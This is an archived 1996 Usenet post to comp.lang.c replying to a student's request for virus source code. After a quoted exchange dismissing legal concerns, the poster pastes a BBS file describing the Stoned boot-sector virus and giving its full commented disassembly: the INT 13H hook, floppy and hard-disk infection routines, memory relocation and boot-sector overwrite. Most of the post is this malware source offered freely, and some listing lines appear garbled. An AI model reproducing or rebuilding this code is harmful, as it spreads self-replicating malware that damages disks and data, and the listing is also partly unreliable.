NetNews Offline 2

home *** CD-ROM | disk | FTP | other *** search

/ NetNews Offline 2 / NetNews Offline Volume 2.iso / news / comp / lang / c-part1 / 5457 < prev next >

Wrap

Internet Message Format | 1996-08-05 | 14.4 KB

Path: in2.uu.net!DIALix!gmhuucp!chris.cheek Newsgroups: comp.lang.c In-Reply-To: all@ucagmh.DIALix.oz.au Subject: Re: Need info on virus source code From: chris.cheek@ucagmh.DIALix.oz.au Message-ID: <COLACE.86D9@ucagmh.DIALix.oz.au> Date: Fri, 9 Feb 96 12:13:00 +0730 Organization: The Flaming Dove, Karratha WA >On 6 Feb 1996 15:15:06 GMT rikko@nioz.nl (Rikko Verrijzer) spewed >such: > >>As a Student Informatica (Polytechnic School) I am intrested in both, the w >>Virus are working and how they are build. But since I am no American and yo >>didn't put any adress off the CERT team I have no idea how to contact them. >>Further, do I need premision from a teacher of mine or will they believe my >>baby-face that I mean no harm with the code?? > >>> Keep in mind that having posted this request to the net, it is now public >>> knowledge that you have asked for such information... > >>It is public knowledge but how do you prove it that someone who asks for co >>is the virus-programmer??? > > None of the issues raised here are valid. Examine : > > a) There are several web pages with indexed listings of virus source > code...free for the download. > b) There is nothing illegal in writing virii, owning virii, > de-assembling virii. > c) A virus only becomes illegal when it is transferred with > malicious(sp) intent. > > So who cares??? Let's stop this trivial discussion...go get some >source code and stop wasting bandwidth with this yakking. > > Have a Day > Ok here it is [I know Peter Seeb's is gonna see this, but some one want source so here it is] I got this file from someone else down the line so Flame me for it! and also whoever wants this should be going to the Asm programming Confrence! This is a dump of the STONE VIRUS, SO BE VERY CAREFUL!!!! ---------------------------------------------------------------------------- DISCLAIMER: This file was written and compiled by Brett Looney. The information containe herein is to be used for peaceful and friendly purposes only. Any idiot foun using the source to create a virus (be it the same of similar) will be verbally reprimanded (and may be bashed about the head with a nerf-bat). The author, Brett Looney, takes no responsibility as to the uses made of this fi It is up to the local sysop to decide whether this file should be accessible to users, or only to sensible BBS personnel in the pursuit of eradicating all viruses. This file was originally uploaded to the Gamma Istari bulletin board, where the original and un-altered version of this file is available. This file was uploaded by Michael Studte, who also wrote this disclaimer notice. ---------------------------------------------------------------------------- Listing and data information about the "Stoned Virus". ====================================================== Description: ------------ This virus is harmless to your computer and data except in two cases: (1) When you have a large directory on your floppy disk, or (2) When you have a large partition table on your hard disk. The virus, when installed, makes a copy of the real boot sector and stores i in one of two places, depending on the media. On a floppy disk, it is stored in the last sector of the directory listing. On a hard disk, it is stored in the last sector of the partition table. The virus then installs itself into the boot sector. The virus will only ever install itself onto a disk in the first floppy disk drive (A:) or the first hard disk drive (C:). When loaded (by booting from an infected disk), the virus first copies itsel into high memory, then checks for a hard disk. If it is present and it is no infected, it is infected by copying the real boot sector into the partition table, then copying itself into the boot sector. Then, the virus loads the r boot sector (either from the floppy or hard disk) and the system proceeds as usual. When installed, the virus will only be active on writes to the first floppy disk (A:) when the drive is still running. In this case, it will try four ti to infect the disk if not already infected by copying the real boot sector to the directory, then copying itself into the boot sector. There are two message stored within the virus. They are: Your PC is now Stoned! LEGALISE MARIJUANA The second is never displayed, seemingly left to those who are intelligent enough to sector edit the virus. The first message will be displayed on a reboot, after the virus has been loaded, and if the lower three bits of the clock-tick counter in low memory are zero after a successful load of the old boot sector from the first flopp disk drive (A:). Note that any offsets are the offset from the beginning of the sector the vi resides in and are in hex. Data area used by virus: ------------------------ This data area starts at offset 8 because two jump instructions are placed before it. 0008: One byte flag indicating whether virus resides on floppy drive or on h drive. This flag enables the virus to tell whether it has to look in t directory (on a floppy) or in the partition table (on a hard disk) for the real boot sector. Holds: 00 when loaded from a floppy disk. 02 when loaded from a hard disk. 0009: Four bytes that hold the segment and offset of the real interrupt 13H handler. This is needed because the virus must be able to perform un- infected disk writes when it is attempting to transfer itself. Holds: Whatever the address for the INT 13H (ROM-BIOS Disk Services) handler. 000D: Four bytes that hold the segment and offset of the virus at the top of memory. This is so that the installation part of the virus can find th rest of the virus. Holds: Whatever the new address of the second part of installation is high memory. 0011: Four bytes that hold the segment and offset of the virus at the bottom of memory. Holds: Wherever the boot sector is loaded - normally 07C0:0000 0189: The two messages that are stored within the virus. Holds: <BEL>Your PC is now Stoned!<BEL><CR><LF><NUL> LEAGLIZE MARIJUANA!<NUL> Note that <BEL> sounds the bell (beep), <CR> is carraige return, <LF> line feed and <NUL> is the NULL character. Dissassembly: ------------- 0000 EA0500C007 JMP 07C0:0005H ;This jumps to the next ;instruction. It prevents the ;virus from being run at any ;time except bootup 0005 E99900 JMP 00A1H ;Jump to start of the ;installation process ;See the label START: ; ;Data (as described above) is place here. ; 0015 1E INT13: PUSH DS ;Save these registers 0016 50 PUSH AX ;for the real INT 13H 0017 80FC02 CMP AH,02H ;Look for service 03H which is ;a disk write 001A 7217 JB 0033H ;Exit if not a write ;See the label EXIT_INT13: 001C 80FC04 CMP AH,04H ;Again, look for disk write 001F 7312 JB 0033H ;Exit if not 0021 0AD2 OR DL,DL ;This is a write, but must be 0023 750E JNZ 0033H ;to the first floppy 0025 33C0 XOR AX,AX ;Point to low memory area 0027 8ED8 MOV DS,AX 0029 A03F04 MOV AL,[043FH] ;This is the diskette ;drive motor status byte 002C A801 TEST AL,01 ;Motor still running if bit 1 ;is set. This is what we want 002E 7503 JNZ 0033H ;Exit if not 0030 380700 CALL 003AH ;Call the infection procedure ;See the label INFECT: 0033 58 EXIT_INT13: POP AX ;Restore the registers for the 0034 1F POP DS ;real INT 13H 0035 2E CS: 0036 FF230900 JMP FAR [0009H] ;Do the real service 003A 53 INFECT: PUSH BX ;Save these registers for the 003B 51 PUSH CX ;real INT 13H a little later 003C 52 PUSH DX 003D 06 PUSH ES 003E 56 PUSH SI 003F 57 PUSH DI 0040 BE0400 MOV SI,0004H ;Counter for failed ;operations 0043 B80102 TEST_LOOP: MOV AX,0201H ;Read 1 sector 0046 0E PUSH CS ;Point to this segment 0047 07 POP ES 0048 BB0002 MOV BX,0200H ;Load at end of virus 004B 33C9 XOR CX,CX ;Track 0 sector 0 004D 8BD1 MOV DX,CX ;Head 0, A: 004F 41 INC CX ;Sector 1 (boot) 0050 9C PUSHF 0051 2E CS: ;"Call" the real INT 13H 0052 FF1E0900 CALL FAR [0009H] 0056 730E JNB 0066H ;Exit loop if read was OK ;See the label END_LOOP: 0057 33C0 XOR AX,AX ;Reset the disk system 005A 9C PUSHF 005B 2E CS: ;"Call" the real INT 13H 005C FF1E0900 CALL FAR [0009H] 0060 4E DEC SI ;Decrement loop counter 0061 75E0 JNZ 0043 ;Try again (only 4 times) ;See the label TEST_LOOP: 0063 EB35 JMP 009A ;Everything failed - exit ;See the label INFECT_EXIT: 0065 90 NOP 0066 33F6 END_LOOP: XOR SI,SI ;Clear counter, point to the ;start of the virus in memory 0068 BF0002 MOV DI,0200H ;Look at sector read 006B FC CLD ;Increment string instructions 006C 0E PUSH CS ;Point to this segment 006D 1F POP DS 006E AD LODSW ;Get first word of virus 006F 3B05 CMP AX,[DI] ;See if same as was read 0071 7506 JNZ 0079 ;If not, install the virus ;See the label NOT_INS: 0073 AD LODSW ;Get next word to make sure 0074 3B4502 CMP AX,[DI+02H] 0077 7421 JZ 009A ;Exit if already installed ;See the label INFECT_EXIT: 0079 B80103 NOT_INS: MOV AX,0301 ;Write 1 sector 007C BB0002 MOV BX,0200 ;The original boot sector 007F B103 MOV CL,03 ;Sector 3 (directory) 0081 B601 MOV DH,01 ;Head 1 0083 9C PUSHF 0084 2E CS: ;"Call" the real INT 13H 0085 FF1E0900 CALL FAR [0009H] 0089 720F JB 009A ;Exit on failure ;See the label INFECT_EXIT: 008B B80103 MOV AX,0301 ;Write 1 sector 008E 33DB XOR BX,BX ;The virus 0090 B101 MOV CL,01 ;Sector 1 (boot) 0092 33D2 XOR DX,DX ;Head 0, A: 0094 9C PUSHF 0095 2E CS: ;"Call" the real INT 13H 0096 FF1E0900 CALL FAR [0009H] 009A 5F INFECT_EXIT: POP DI ;Restore all registers 009B 5E POP SI 009C 07 POP ES 009D 5A POP DX 009E 59 POP CX 009F 5B POP BX 00A0 C3 RET ;Return to do real INT 13H 00A1 33C0 START: XOR AX,AX ;Point to low memory 00A3 8ED8 MOV DX,AX 00A5 FA CLI ;Set up stak safely 00A6 8ED0 MOV SS,AX ;Set so as not to disturb 00A8 BC007C MOV SP,7C00H ;anything 00AB FB STI 00AC A14C00 MOV AX,[004CH] ;Get current INT 13H 00AF A3097C MOV [7C09H],AX ;address and store in 00B2 A14E00 MOV AX,[004EH] ;CS:0009H 00B5 A30B7C MOV [7C0BH],AX 00B8 A11304 MOV AX,[0413H] ;Get usable memory (K) 00BB 48 DEC AX ;Reserve 2K for the virus 00BC 48 DEC AX 00BD A31304 MOV [0413H],AX ;Save new value 00C0 B106 MOV CL,06 ;*64 to get reserved memory 00C2 D3E0 SHR AX,CL ;address 00C4 8EC0 MOV ES,AX ;Point to new location 00C6 A30F7C MOV [7C0FH],AX ;Save segment for later 00C9 B81500 MOV AX,0015H ;Offset of INT 13H ;handler in virus 00CC A34C00 MOV [004CH],AX ;Install new INT 13H 00CF 8C064E00 MOV [004EH],ES ;handler 00D3 B9B8010E MOV CX,01B8H ;Size of virus 00D6 0E PUSH CS ;Point to this segment read 00D7 1F POP DS ;for move 00D8 33F6 XOR SI,SI ;Initialize indexes to 0 00DA 8BFE MOV DI,SI 00DC FC CLD ;Increment string instructions 00DD F3 REPZ ;Move the whole virus up to 00DE A4 MOVSB ;the reserved high memory 00DF 2E CS: ;Jump to the new location as 00E0 FF2E0D00 JMP FAR [000DH] ;stored earlier. ;Actually jumps to next ;instruction 00E4 B80000 MOV AX,0000H ;Reset the disk system 00E7 CD13 INT 13H 00E9 33C0 XOR AX,AX ;Point to low memory 00EB 8EC0 MOV ES,AX 00ED B80102 MOV AX,0201H ;Read 1 sector 00F0 BB007C MOV BX,7C00H ;Over old virus (ES:BX) 00F3 2E CS: 00F4 803E080000 CMP BYTE PTR [0008H],00H ;Check to see ;if we loaded from floppy or ;hard disk 00F9 740B JZ 0106H ;Do floppy boot if 0 ;See the label FLOPPY: 00FB B90700 MOV CX,0007H ;Track 0, sector 7 00FE BA8000 MOV DX,00080 ;Head 0, C: 0101 CD13 INT 13H ;Save old boot sector 0103 EB49 JMP 014EH ;Now exit - virus on disk ;See label EXIT: 0105 90 NOP 0106 B90300 FLOPPY: MOV CX,0003H ;Track 0, sector 3 0109 BA0001 MOV DX,0100H ;Head 1, A: 010C CD13 INT 13H ;Save old boot sector 010E 723E JB 014EH ;Exit on error ;See label EXIT: 0110 723E ES: ;Check the clock tick counter 0111 26 TEST BYTE PTR [046CH],07H ;in low memory 0116 7512 JNZ 012AH ;Exit if low 3 bits are not 0 ;See label NO_DISP: 0118 BE8901 MOV SI,0189H ;Point to first message 011B 0E PUSH CS ;Point to this segment 011C 1F POP DS 011D AC DISP_LOOP: LODSB ;Get character 011E 0AC0 OR AL,AL ;Check for NULL 0120 7408 JZ 012AH ;Exit if end of message ;See label NO_DISP 0122 B40E MOV AH,0EH ;Display character in TTY mode 0124 B700 MOV BH,00H ;Display page 0 0126 CD10 INT 10H ;BIOS video services 0128 EBF3 JMP 011H ;Loop for next character ;See label DISP_LOOP: 012A 0E NO_DISP: PUSH CS ;Point to this segment 012B 07 POP ES 012C B80102 MOV AX,0201H ;Read one sector 012F BB0002 MOV BX,0200H ;After virus in memory 0132 B101 MOV CL,01H ;Track 0, sector 1 (boot) 0134 BA8000 MOV DX,0080H ;Head 0, C: 0137 CD13 INT 13H 0139 7213 JB 014EH ;Exit on error ;See label EXIT: 013B 0E PUSH CS ;Point to this segment 013C 1F POP DS 013D BE0002 MOV SI,0200H ;Point to sector just read 0140 BF0000 MOV DI,0000H ;Start of virus 0143 AD LODSW ;Get a word 0144 3B05 CMP AX,[DI] ;See if same as was read 0146 7511 JNZ 0159H ;Install if not ;See label INSTALL: 0148 AD LODSW ;Else make sure that installed 0149 3B4502 CMP AX,[DI+02H] ;Look at next word 014C 750B JNZ 0159H ;Install if not the same ;See label INSTALL: 014E 2E EXIT: CS: 014F C606080000 MOV BYTE PTR [0008H],00H ;Set for floppy ;drive installation 0154 2E CS: 0155 FF2E1100 JMP FAR [0011H] ;Jump to real boot ;sector that was read in before INSTALL: 0159 2E CS: 015A C606080002 MOV BYTE PTR [0008H],02H ;Set for hard ;drive installation for write 015F B80103 MOV AX,0301H ;Write 1 sector 0162 BB0002 MOV BX,0200H ;Buffer = old boot 0165 B90700 MOV CX,0007H ;Track 0, sector 7 0168 BA8000 MOV DX,0080H ;Head 0, C: 016B CD13 INT 13H ;Save into partition table 016D 72DF JB 014EH ;Exit on error ;See label EXIT: 016F 0E PUSH CS ;Point to this segment 0170 1F POP DS 0171 0E PUSH CS 0172 07 POP ES 0173 BEBE03 MOV SI,03BEH ;Write over old boot 0176 BFBE01 MOV DI,01BEH ;sector in memory with 0179 B94202 MOV CX,0242H ;complete garbage 017C F3 REPZ 017D A4 MOVSB 017E B80103 MOV AX,0301H ;Write 1 sector 0181 33DB XOR BX,BX ;Buffer location - this virus 0183 FEC1 INC CL ;Track 0, sector 0, head 0, C: 0185 CD13 INT 13H 0187 EBC5 JMP 014EH ;And exit ;See label EXIT: